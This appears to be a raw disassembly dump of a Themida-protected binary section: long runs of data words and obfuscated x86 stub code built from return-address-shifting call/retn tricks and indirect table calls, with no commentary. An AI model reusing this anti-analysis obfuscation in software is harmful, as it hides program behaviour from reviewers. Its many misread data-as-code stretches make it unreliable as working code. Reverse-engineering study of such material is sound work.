dd 0B27D8444h, 5D726535h, 5705A274h, 0F9321F40h, 45223A5Dh
dd 15D66CBBh, 127D7811h, 4014D383h, 38213657h, 29A67166h
dd 249F6A6Dh, 0DD7D0C77h, 1ABCA5BAh, 0D6B5EB31h, 0B4BB1115h
dd 0CF0C893h, 19000000h, 7DB7B5F7h, 21AE1B9h, 0C73EDC1Ch
dd 0B9360116h, 0B633FE19h, 0AE2BF6E1h, 0A421ECEBh, 9E1BE6F1h
dd 900DD8FFh, 8502CDCAh, 7CF9C4D3h, 3CF4BFD8h, 81E38953h
dd 4C3h, 4EB8300h, 5C241C87h, 51242C89h, 0C181E189h, 4
dd 8704E983h, 895C240Ch, 0AA682404h, 89000006h, 0BA52243Ch
dd 72020B75h, 1361EA81h, 0EAD10F89h, 39E1BD55h, 0D5F77C30h
dd 3F15C581h, 0E5817308h, 588C1407h, 8105E5C1h, 44C8CF5h
dd 6BC5816Fh, 9D86056h, 0F2815DEAh, 70D15A7Dh, 545AD089h
dd 81243C8Bh, 4C4h, 4815000h, 0EB062A24h, 8478F20h, 62AB951h
dd 4F2920EBh, 3C8B5908h, 0E3895324h, 4C381h, 0C3810000h
dd 4, 5C241C87h, 582434FFh, 4C481h, 44E90000h, 0A0FFFC55h
dd 97926708h, 26ACBA8Ah, 0D0A6928h, 0AC29BFB8h, 0FFC50307h
dd 7883C7E0h, 0ABC8E625h, 88F5DE28h, 94E9FA59h, 3CD73062h
dd 3807CE70h, 6A6010h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 160424h, 51410000h, 0EE9CA0C3h, 861B509h, 958907A8h
dd 7A82341h, 0FFFFFEB9h, 0B0ABEFFh, 8D2159DFh, 7A82F31h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 41C35141h
dd 18DF8020h, 5018D21h, 0B50B07A8h, 7A80319h, 2F318D8Bh
dd 6A07A8h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h
dd 53430000h, 0A435DEC3h, 2C3B319Eh, 58F0F66h, 66000000h
dd 7580EE81h, 0AE8h, 7C9D3E00h, 0DDCAFB61h, 5BB71A89h
dd 0F01E183h, 985h, 619D2900h, 0F07A80Eh, 8D8BC7BFh, 7A80501h
dd 0AE8h, 89F46F00h, 0FAFAC8C3h, 66B7BD14h, 5AB0DDBEh
dd 0F01E183h, 685h, 19D8900h, 6107A82Eh, 55006A60h, 3E8h
dd 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h
dd 0AE2A24EAh, 0F1EC7E1h, 68Fh, 9D958B00h, 0B907A80Ah
dd 0FFFFFFFEh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 18h, 55C35747h, 629E3759h, 13518D21h, 0F6007A8h, 285h
dd 0E951B200h, 0Ch, 6BBEEA36h, 6E4E9AE1h, 5E638A26h, 758D2161h
dd 6607A815h, 8D8BDE8Bh, 7A81351h, 88B0Fh, 8B530000h, 0A817BDB5h
dd 0E1835807h, 6850F01h, 29000000h, 0A81CBD9Dh, 758D8B07h
dd 0E907A815h, 0Ah, 6C4C559Bh, 0D94FCB89h, 850F65BBh, 6
dd 0BC5B503h, 0E18307A8h, 0F850F01h, 0F000000h, 6660DAB7h
dd 8B45B6BEh, 0A81E6985h, 0E9616107h, 27h, 1CEB2BE2h, 8 dup(0)
dd 0E9000000h, 554h, 5B706738h, 0A0B5A272h, 0E1F6E1B7h
dd 203522F8h, 5E736437h, 692C7950h, 0A970596Eh, 0EBB099AEh
dd 2CEED7ECh, 9736162Bh, 0AD441B51h, 0D98721CBh, 0B7A072ABh
dd 24071FECh, 19A6572h, 370215C8h, 30FB1CBAh, 472A4263h
dd 696E8394h, 546C6B30h, 5306A171h, 6FFC3278h, 0FB02D359h
dd 21420FDAh, 1E39D956h, 1106D653h, 8CF7F246h, 253A5DFDh
dd 0C43AFE20h, 99C43802h, 0DEF99E81h, 5EE0B8F1h, 1BE94221h
dd 435B7CD5h, 0D866331Ch, 2BDB0F13h, 1FBB8CC5h, 730CD7F8h
dd 0B07B9C3Ah, 31E8CBE3h, 33E05B26h, 60FB1DC8h, 85452815h
dd 0CD106C0Dh, 1CF0BB13h, 748C8B4Bh, 7123C491h, 7F1E549Ah
dd 1D24D358h, 436431FCh, 8295452Eh, 7EF42DB7h, 37CED358h
dd 0F06A20CCh, 77CC1BA8h, 5872FB31h, 29FA01D3h, 0D29F6A6Dh
dd 569EBAh, 0C79C0000h, 9C350017h, 6BE4A37Ah, 0E2B32352h
dd 1F0F2730h, 0D358B1E7h, 13BF2AC1h, 1BA8BF5Fh, 1A2h, 15C7A000h
dd 0C9948352h, 9310DBFCh, 8E0BD6C1h, 0C0E2CFC8h, 0D7F7D32Fh
dd 432038DFh, 3B0611C6h, 30FB1CBEh, 9776E1DCh, 0FA89F4EFh
dd 3F283D5Ah, 7763789Fh, 160314C7h, 0B904F1F4h, 223A89D9h
dd 0A073AC45h, 18BC9FB7h, 726F34FFh, 637B9C39h, 1032DD48h
dd 5DB6313h, 6B4E66E5h, 959AAFA8h, 73C4FA40h, 0C3CAD358h
dd 116C8ABh, 481FB936h, 96618295h, 905B7C19h, 6EF3A62Ah
dd 31026FA1h, 13AA7562h, 0BB54339Eh, 0B78B37A2h, 271BA78Dh
dd 0DA7D2AEEh, 4D19CBDh, 0C0D0ECh, 0C7CE0000h, 0ABDA6A14h
dd 15CFC88Bh, 3E8497EFh, 0D3592608h, 2CE6070Eh, 6002F03Ah
dd 0D5A0C10Ah, 0AA978058h, 721DA171h, 7FC73A02h, 6F3C0728h
dd 2B267A57h, 0DC6231C0h, 86E8E220h, 0B1C6E7C9h, 370215C8h
dd 0C1767C9Eh, 6703B63Eh, 0AD7A2B5h, 28EED1E9h, 61F642Fh
dd 21CBEF9Bh, 826E1BA7h, 53000000h, 2D63A9FEh, 33D35888h
dd 88184E2Ch, 4B1ED358h, 5888CF05h, 0ADCED5D3h, 89ABAF95h
dd 0DFECB724h, 4528407Dh, 1DB68196h, 0A67532E4h, 19BF90B1h
dd 5603E6FEh, 382D7641h, 0ED332516h, 983BFB8Ah, 2B465E7Fh
dd 0DC6231C0h, 77BD4228h, 0D358D141h, 5B864047h, 869BBC79h
dd 83944881h, 15C7856Bh, 74AD3702h, 57D35970h, 4BC89384h
dd 75BE898Eh, 401AF964h, 0D8923EA9h, 211BA801h, 1, 0A272AB1Fh
dd 51DEAB5h, 96617622h, 935E7919h, 52658718h, 367A1AADh
dd 3DA8C3DBh, 0D8EDEAAEh, 0FF21292Eh, 0D79E53D6h, 245A3899h
dd 2AD35928h, 0C0150223h, 0A8C0D787h, 13CD7B8h, 0B57C9EDBh
dd 83A27D08h, 242BEB03h, 513ADC59h, 112D50Bh, 0B3D4DBDBh
dd 0F2E5B59Eh, 12659D27h, 6B7CDB01h, 7A1C5500h, 12154B91h
dd 141BDB01h, 0CBC228F3h, 97F393BAh, 463354h, 0DB0126CAh
dd 0CEB1C9D0h, 0F1F60B0Ch, 3DE075CFh, 3E56CCF5h, 0D19CBB5Bh
dd 0CA958254h, 0C38E894Dh, 0B5809746h, 0A9746338h, 3FAAC3DCh
dd 23EEE9B0h, 31C3556h, 4E490998h, 147F3339h, 0A6DFE3F0h
dd 4C19E4F3h, 11F1834h, 6160000h, 92D8C511h, 0DB019D9Dh
dd 38D19CA3h, 9D679DE3h, 666DDB01h, 0FCAB6B4Eh, 91E3F58h
dd 8E597E20h, 0F3A64111h, 7BF8C3E4h, 58F1BCDBh, 19DDC12h
dd 0ADBE2DBh, 7D484Fh, 0A6733E59h, 0AE8DF809h, 82117C95h
dd 564117D0h, 501A2035h, 0A9E3FFD2h, 41h, 0C11506A7h, 0CF82B2D4h
dd 0A5706733h, 3D671ED8h, 6BB1B0C8h, 5358CC15h, 0A3B4641Bh
dd 6DD072D8h, 78671798h, 0E16B3657h, 5358F6ABh, 4494FF74h
dd 0CC12FFD7h, 0D358F676h, 1C60757Ch, 89h, 0C511065Eh
dd 8F4A83D8h, 0D8F0BD88h, 18C93E8h, 5385ADBh, 0F563CD95h
dd 0E5ECACC4h, 2AFD9D1Ah, 34496A6Dh, 0C18C8B4Bh, 81830628h
dd 2917C84Bh, 0A6E62111h, 0BC9DB01h, 7900B173h, 1F40DEDFh
dd 1007D754h, 0CE39AE45h, 0D64152EFh, 6B809747h, 938054C1h
dd 0AE99764Dh, 0AA757CE2h, 9F6A6D2Dh, 0BC0C7724h, 590ECB5Bh
dd 4D19CBBh, 8FD5C2E3h, 0EA5AC5B8h, 9DA2B7BEh, 0C5CC0248h
dd 32D2EA5Ah, 5C6F0AA7h, 849CBD51h, 2C11069Eh, 490B0E5Ah
dd 323E944Eh, 58917E9Fh, 0FECB9681h, 0CAA1E7E6h, 0D0DB04EDh
dd 0D7500F30h, 0A6939E32h, 52D2A60h, 82930DBh, 0F91EC03Dh
dd 3C5BFBE4h, 4787E771h, 9893F64Ch, 0DBFC9E2Dh, 1A3DDDC6h
dd 1304D24Fh, 0B520CD48h, 4E637426h, 0D7A2B565h, 3FFh
dd 3EDC4100h, 360116C7h, 33FE19B9h, 2BF6E1B6h, 21ECEBAEh
dd 1BE6F1A4h, 0DD8FF9Eh, 2CDCA90h, 0F9C4D385h, 0F4BFD87Ch
dd 33B5683Ch, 2C890000h, 5CBD6824h, 14890000h, 22B46824h
dd 1C890000h, 49FCBA24h, 0EAD12EF7h, 0EAC1DAF7h, 0D1B85003h
dd 2915645Eh, 8B5458C2h, 0C483241Ch, 89535604h, 5BDE89D3h
dd 5E087389h, 5B2434FFh, 8B04C483h, 89502414h, 405E0h
dd 4050000h, 87000000h, 0E95C2404h, 0FFFC4DD3h, 1667BC13h
dd 0AC3180B8h, 0FFC50307h, 6D3C69E0h, 0DC8A5E23h, 2656C55Dh
dd 0A1C4AC61h, 83A61B61h, 67A60C54h, 0F50ED31Fh, 7B35E732h
dd 0BC6AE469h, 0C6FE9B2Ch, 69E0CA45h, 0ABAAFD64h, 2A66763Dh
dd 0E1C31824h, 4FF2731Ch, 0BBFC4E71h, 0E686E565h, 5E20E810h
dd 0DD996840h, 6A606Dh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 1A0424h, 53430000h, 0AA9F0DC3h, 80AE1BE6h, 13E9h, 0D322DE00h
dd 0B1329A3Dh, 0AC4E48F0h, 0CD2F135Ah, 11AC9B96h, 0FFFFFEB9h
dd 55006AFFh, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h
dd 0C3554500h, 21B5D503h, 0A82D098Dh, 8B60F507h, 0A82695B5h
dd 0D1B50907h, 6107A809h, 2B058D21h, 6A07A8h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 180424h, 53430000h, 8C24F4C3h
dd 0B533E234h, 7A8236Dh, 2D098D8Bh, 6A07A8h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 140424h, 56460000h, 0E183FAC3h
dd 1F850F01h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 17042444h, 43000000h, 7899C353h, 8D8B0463h
dd 7A82B05h, 0AF4C781h, 0E183415Bh, 6850F01h, 89000000h
dd 0A81B5D9Dh, 6A606107h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 1D042444h, 41000000h, 0C159C351h, 0B66E9E8Bh
dd 9B9283B2h, 0CDD858Bh, 85C707A8h, 7A80B5Dh, 7D0h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 6C35646h, 0AAA95190h
dd 61F546C0h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 14h, 6AC35747h, 0EBCE8BF9h, 0E99D6107h, 0
; ---------------------------------------------------------------------------
push 0
push esi
call sub_5C4833
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C4833 proc near ; CODE XREF: Themida_:005C482Bp
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 15h
inc esi
push esi
retn
sub_5C4833 endp
; ---------------------------------------------------------------------------
aaa
push edx
pusha
mov [ebp+7A825ADh], edi
mov ecx, [ebp+7A80359h]
popa
push 0
push eax
call sub_5C485E
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C485E proc near ; CODE XREF: Themida_:005C4856p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 16h
inc eax
push eax
retn
sub_5C485E endp
; ---------------------------------------------------------------------------
dw 0B6BFh
; ---------------------------------------------------------------------------
push ecx
and di, 0C74h
mov [ebp+7A82395h], esi
mov eax, ecx
jmp loc_5C48F8
; ---------------------------------------------------------------------------
pusha
mov ax, ds
test al, 4
jz loc_5C48C4
push 1
push dword ptr [ebp+7A81895h]
lea eax, [ebp+7AB781Ah]
call eax
mov [ebp+7A818F5h], eax
mov edi, esi
shr edi, 0Ch
push 20040000h
push 0
push 2
push edi
push 1000Dh
call dword ptr [ebp+7A818F5h]
jmp loc_5C48F6
; ---------------------------------------------------------------------------
loc_5C48C4: ; CODE XREF: Themida_:005C4889j
mov byte ptr [ebp+7A80619h], 56h
push 0A9C530DFh
push dword ptr [ebp+7A80CE1h]
lea eax, [ebp+7AB781Ah]
call eax
mov [ebp+7A82DADh], eax
lea eax, [ebp+7A81915h]
push eax
push 20h
push 5
push esi
call dword ptr [ebp+7A82DADh]
loc_5C48F6: ; CODE XREF: Themida_:005C48BFj
popa
retn
; ---------------------------------------------------------------------------
loc_5C48F8: ; CODE XREF: Themida_:005C487Ej
shl eax, 6
pusha
push 0
push esi
call sub_5C4907
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C4907 proc near ; CODE XREF: Themida_:005C48FFp
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 17h
inc esi
push esi
retn
sub_5C4907 endp
; ---------------------------------------------------------------------------
db 0E7h
; ---------------------------------------------------------------------------
mov eax, 8BF56F08h
rol byte ptr [ebx-57D80643h], 7
add [ebp+9], dh
cmp dword ptr [ebp+7A80605h], 0
jz short loc_5C4949
push eax
push ebx
mov eax, eax
mov eax, 438h
mov [ebp+7A82585h], eax
lea ebx, [ebp+7AAB023h]
call ebx ; _iob
pop ebx
pop eax
loc_5C4949: ; CODE XREF: Themida_:005C492Ej
cmp dword ptr [ebp+7A80605h], 0
jz short loc_5C4969
push eax
push ebx
mov eax, 438h
mov [ebp+7A82585h], eax
lea ebx, [ebp+7AAAD12h]
call ebx ; _iob
pop ebx
pop eax
loc_5C4969: ; CODE XREF: Themida_:005C4950j
push esi
mov edi, ecx
pop ecx
xor [ebp+7A81AD9h], esi
mov eax, eax
mov edi, [ebp+7A819A5h]
call sub_5C5181
movzx edi, bx
xor esi, 0D7B97ECh
mov [ebp+7A81A75h], eax
mov ecx, ebx
call sub_5C5181
push 0
push ebx
call sub_5C49A1
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C49A1 proc near ; CODE XREF: Themida_:005C4999p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Dh
inc ebx
push ebx
retn
sub_5C49A1 endp
; ---------------------------------------------------------------------------
pop ds
mov [ecx+ecx*2], esi
sub dl, [ecx]
sbb ch, [edi-14752865h]
mov [ebp+7A82641h], eax
push 0
push eax
call sub_5C49CE
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C49CE proc near ; CODE XREF: Themida_:005C49C6p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Bh
inc eax
push eax
retn
sub_5C49CE endp
; ---------------------------------------------------------------------------
dw 0D8FBh
; ---------------------------------------------------------------------------
or [edi], cl
and al, 79h
aad 0A3h
call sub_5C5181
push 0
push esi
call sub_5C49F6
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C49F6 proc near ; CODE XREF: Themida_:005C49EEp
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 14h
inc esi
push esi
retn
sub_5C49F6 endp
; ---------------------------------------------------------------------------
or ecx, [ecx-57F60A7Bh]
pop es
jmp loc_5C4A1A
; ---------------------------------------------------------------------------
dw 968Fh
dd 59865575h
db 82h, 0CFh
; ---------------------------------------------------------------------------
loc_5C4A1A: ; CODE XREF: Themida_:005C4A0Dj
or ecx, [ebp+7A80EA1h]
mov [ebp+7A80BBDh], eax
push 0
push esi
call sub_5C4A31
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C4A31 proc near ; CODE XREF: Themida_:005C4A29p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Dh
inc esi
push esi
retn
sub_5C4A31 endp
; ---------------------------------------------------------------------------
db 0CEh, 52h, 51h
dd 57E85AFBh, 81A8C7DBh, 771E72EEh, 72BE879h, 6A0000h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
dd 0A6F456C3h, 891B36D6h, 0A8309985h, 1830F07h, 0F8000000h
dd 6F8E8h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1704h, 0C3524200h, 0B83A18Dh, 8115DD80h, 318B41C7h
dd 0D1858930h, 0BF07A823h, 3E69C165h, 6C0E8h, 55006A00h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h
dd 545175CAh, 9BC98166h, 2CD18108h, 8910BA05h, 0A82FC585h
dd 0E8F08B07h, 689h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 1Bh, 92C35040h, 0D648E8C5h, 8B5AF950h, 0A81879B5h
dd 8B606007h, 0A82AC99Dh, 61616007h, 8FB96653h, 0F615E8Eh
dd 289h, 89F18B00h, 0A8005585h, 51006A07h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1A04h, 0C3514100h, 0C7C4D71Dh
dd 6007A70Bh, 1A55BD8Bh, 0CB8007A8h, 9D316156h, 7A829C9h
dd 608E8h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1604h, 0C3504000h, 898CA09Ch, 0A8147985h, 52006A07h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h
dd 67DE1D83h, 1A5DB58Bh, 0BE6607A8h, 0B6E85B74h, 6A000005h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 17042444h
dd 40000000h, 5CAAC350h, 0BD29FAB1h, 7A821F1h, 986DDE81h
dd 85893057h, 7A810A9h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 16h, 60C35242h, 8D8BCAF9h, 7A82FE1h, 5AE835B5h
dd 8B000005h, 0A8313DB5h, 0BD858907h, 6A07A814h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
dd 788FC356h, 2AE8AF89h, 60000005h, 61AFB1F8h, 8B18589h
dd 6A07A8h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h
dd 51410000h, 15AA6CC3h, 0D4162A5Ch, 0F5958932h, 0E807A809h
dd 4F1h, 0FCEB70Fh, 68Ah, 45BD2B00h, 8907A808h, 0A8196185h
dd 0F88B6607h, 4D4E8h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1C04h, 0C3524200h, 6D8621A8h, 735DE762h
dd 78F0FFDh, 0F000000h, 18Ah, 8589F800h, 7A805FDh, 852B6052h
dd 7A834C9h, 0BD315F61h, 7A80615h, 488E8h, 50006A00h, 3E8h
dd 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h
dd 0FDF6CDAh, 8589F7B7h, 7A805DDh, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 1Ch, 0B5C35141h, 0D6160CF0h, 58DAA226h
dd 36E8F88Bh, 0F000004h, 8589F8BFh, 7A80AFDh, 27DDBD89h
dd 22E807A8h, 60000004h, 3840Fh, 0B70F0000h, 858D01C6h
dd 6107A829h, 15598589h, 0A7BE07A8h, 0B0163524h, 98D8B00h
dd 0F07A806h, 0B52BD8B6h, 7A8174Dh, 6BAh, 0F98B6600h, 6AC38Bh
dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
dd 0B8BE39C3h, 0CB8BD3A9h, 6A04E8C1h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 0D6CEC351h
dd 77AC21CEh, 0F7666280h, 51006AE2h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1604h, 0C3514100h, 2B49CC4Eh
dd 458D01D8h, 5607A800h, 2D299D89h, 505F07A8h, 52505250h
dd 12E8h, 0F7AB4D00h, 8588A506h, 586284CDh, 16EEE0D6h
dd 5E0F7570h, 6160310Fh, 310F585Ah, 28A0Fh, 61600000h
dd 1C89585Ah, 56006A24h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1404h, 0C3564600h, 0C58D8B43h, 0FF07A805h, 0A8265195h
dd 5BFA8B07h, 958DEB8Ah, 7A81021h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 1Ah, 0B8C35141h, 0F4AC5083h, 0B70FC5B4h
dd 661A89F2h, 183DF781h, 6A044289h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 1B5DC357h
dd 7AECDDBFh, 9D2EAF27h, 14F19D89h, 8B0F07A8h, 5, 7ED68166h
dd 0C9958DF7h, 8907A818h, 57006A1Ah, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1B04h, 0C3574700h, 580C3217h
dd 0C2BF5AD0h, 6A044289h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 1A042444h, 46000000h, 8C9CC356h, 0E7CB612Ch
dd 9D95896Ch, 8907A827h, 0A82E39BDh, 1958D07h, 6A07A825h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 18042444h
dd 42000000h, 0B4A6C352h, 0E958525Fh, 11h, 512DDEE3h, 84AFBDBCh
dd 0FEB712C4h, 0D618A385h, 29B589A0h, 8907A810h, 53006A1Ah
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h
dd 0B1BD8B07h, 8907A806h, 0BF660442h, 958DF3F7h, 7A83125h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 17C35040h
dd 4765AEE6h, 8995C814h, 0A18D891Ah, 8907A81Ch, 8B500442h
dd 0A833A9B5h, 958D5E07h, 7A805C9h, 14558D8Bh, 1A8907A8h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 5C35343h
dd 2927A4DCh, 0D1813187h, 192B32C6h, 6A044289h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
dd 571AC351h, 958DB4DDh, 7A803A9h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 1Dh, 0A1C35040h, 9762BD21h, 0ADA249Ah
dd 0B1A89D0h, 0A8314DBDh, 4428907h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 1Ah, 33C35040h, 0FC164247h, 8D8BA863h
dd 7A8151Dh, 18B0Fh, 8DF80000h, 0A8266995h, 558D0B07h
dd 8907A814h, 50006A1Ah, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1604h, 0C3504000h, 0E9C04751h, 0Eh, 0BFE6161Ch, 0C695DDFEh
dd 0DEBF06A1h, 85899091h, 7A81ACDh, 8B044289h, 0A81D75BDh
dd 65958D07h, 6A07A82Ch, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 1B042444h, 46000000h, 97EFC356h, 97B5D9C1h
dd 1A895F87h, 0EE9h, 346C0900h, 0FE295C82h, 49A9DE07h
dd 89021E75h, 6A0442h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 1B0424h, 50400000h, 0BF2252C3h, 0F39A245Ah, 0F7816686h
dd 0B58B522Ah, 7A800E1h, 0A7E9h, 52006A00h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1604h, 0C3524200h, 896BE4B7h
dd 0A82AEDB5h
; ---------------------------------------------------------------------------
pop es
; =============== S U B R O U T I N E =======================================
sub_5C5181 proc near ; CODE XREF: Themida_:005C497Bp
; Themida_:005C4991p ...
push 0
mov edi, [ebp+7A83115h]
push 0
push 0
push 0
push edi
call sub_5C5198
and [edi-3Dh], bl
sub_5C5181 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_5C5198 proc near ; CODE XREF: sub_5C5181+Fp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Ch
inc edi
push edi
retn
sub_5C5198 endp
; ---------------------------------------------------------------------------
pushf
mov [ecx], gs
retf
; ---------------------------------------------------------------------------
db 0E7h, 6Ch, 5Ah
; ---------------------------------------------------------------------------
push ebx
push 0
sub cx, 0E75Ch
call dword ptr [ebp+7A83305h]
push 0
push ebp
call sub_5C51C9
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C51C9 proc near ; CODE XREF: Themida_:005C51C1p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 17h
inc ebp
push ebp
retn
sub_5C51C9 endp
; ---------------------------------------------------------------------------
sbb eax, 0FCF653ACh
retn
; ---------------------------------------------------------------------------
push 0
push edx
call sub_5C51EA
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C51EA proc near ; CODE XREF: Themida_:005C51E2p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Dh
inc edx
push edx
retn
sub_5C51EA endp
; ---------------------------------------------------------------------------
dw 0DFF3h
; ---------------------------------------------------------------------------
imul eax, [edi-6ABDEB0Fh], 0C58AF7D5h
push 0
push edx
call sub_5C5211
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C5211 proc near ; CODE XREF: Themida_:005C5209p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Ah
inc edx
push edx
retn
sub_5C5211 endp
; ---------------------------------------------------------------------------
sbb [ecx+1F30917Eh], ecx
inc esi
mov si, cx
mov eax, eax
push 0
push edi
call sub_5C5238
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C5238 proc near ; CODE XREF: Themida_:005C5230p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 14h
inc edi
push edi
retn
sub_5C5238 endp
; ---------------------------------------------------------------------------
cmp al, 83h
mov ebp, 7A827F9h
add [ebp+9], dh
cmp dword ptr [ebp+7A80605h], 0
jz short loc_5C5274
push eax
push ebx
mov eax, eax
mov eax, 438h
mov [ebp+7A80ECDh], eax
lea ebx, [ebp+7AAB08Ah]
call ebx ; _iob
pop ebx
pop eax
loc_5C5274: ; CODE XREF: Themida_:005C5259j
cmp dword ptr [ebp+7A80605h], 0
jz short loc_5C5294
push eax
push ebx
mov eax, 438h
mov [ebp+7A80ECDh], eax
lea ebx, [ebp+7AAAD2Bh]
call ebx ; _iob
pop ebx
pop eax
loc_5C5294: ; CODE XREF: Themida_:005C527Bj
jl loc_5C52A0
mov [ebp+7A82189h], eax
loc_5C52A0: ; CODE XREF: Themida_:loc_5C5294j
push 0
push edi
call sub_5C52AB
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C52AB proc near ; CODE XREF: Themida_:005C52A3p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Ah
inc edi
push edi
retn
sub_5C52AB endp
; ---------------------------------------------------------------------------
db 0D5h
dd 0F21A0208h, 8D0F3087h, 5, 5E6DECB9h, 65B58B09h, 8B07A829h
dd 25858DC0h, 907A804h, 0A80B4DB5h, 0E8605007h, 14h, 0FDE9A3E4h
dd 33A4B813h, 0BD73A3Dh, 93237C17h, 28002694h, 840Fh, 60590000h
dd 310F5250h, 7FBF585Ah, 61291B27h, 24048961h, 0EE8h, 77DD4000h
dd 3D8671ABh, 7EBA2C6Fh, 101F7DCh, 0A83401BDh, 6A5F07h
dd 2B09BD8Bh, 6A07A8h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 16h, 0E9C35040h, 858D33A2h, 7AC40C6h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0ECC35545h, 6A05C083h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 16042444h
dd 46000000h, 831DC356h, 0BF6690A7h, 0E8505AE4h, 0Fh, 0CD715E7h
dd 46B1104Fh, 51FDC756h, 0BB9A87ACh, 48256E48h, 6A905Bh
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
dd 9589D0C3h, 7A807D1h, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 190424h, 57470000h, 0B8315DC3h, 951ECA2h
dd 0A803C5BDh, 6A006A07h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 1B042444h, 45000000h, 61E5C355h, 83008782h
dd 800F00D8h, 6, 0A160DB81h, 95FF17ADh, 7A81B39h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 0BBC35747h, 0B7BF75A0h
dd 50C4D285h, 9A3B8D8Dh, 6A07ABh, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 160424h, 56460000h, 0D19653C3h, 286D9D8Bh
dd 8D8907A8h, 7A8216Dh, 0BF0FD1FFh, 0A5BD83DFh, 107A806h
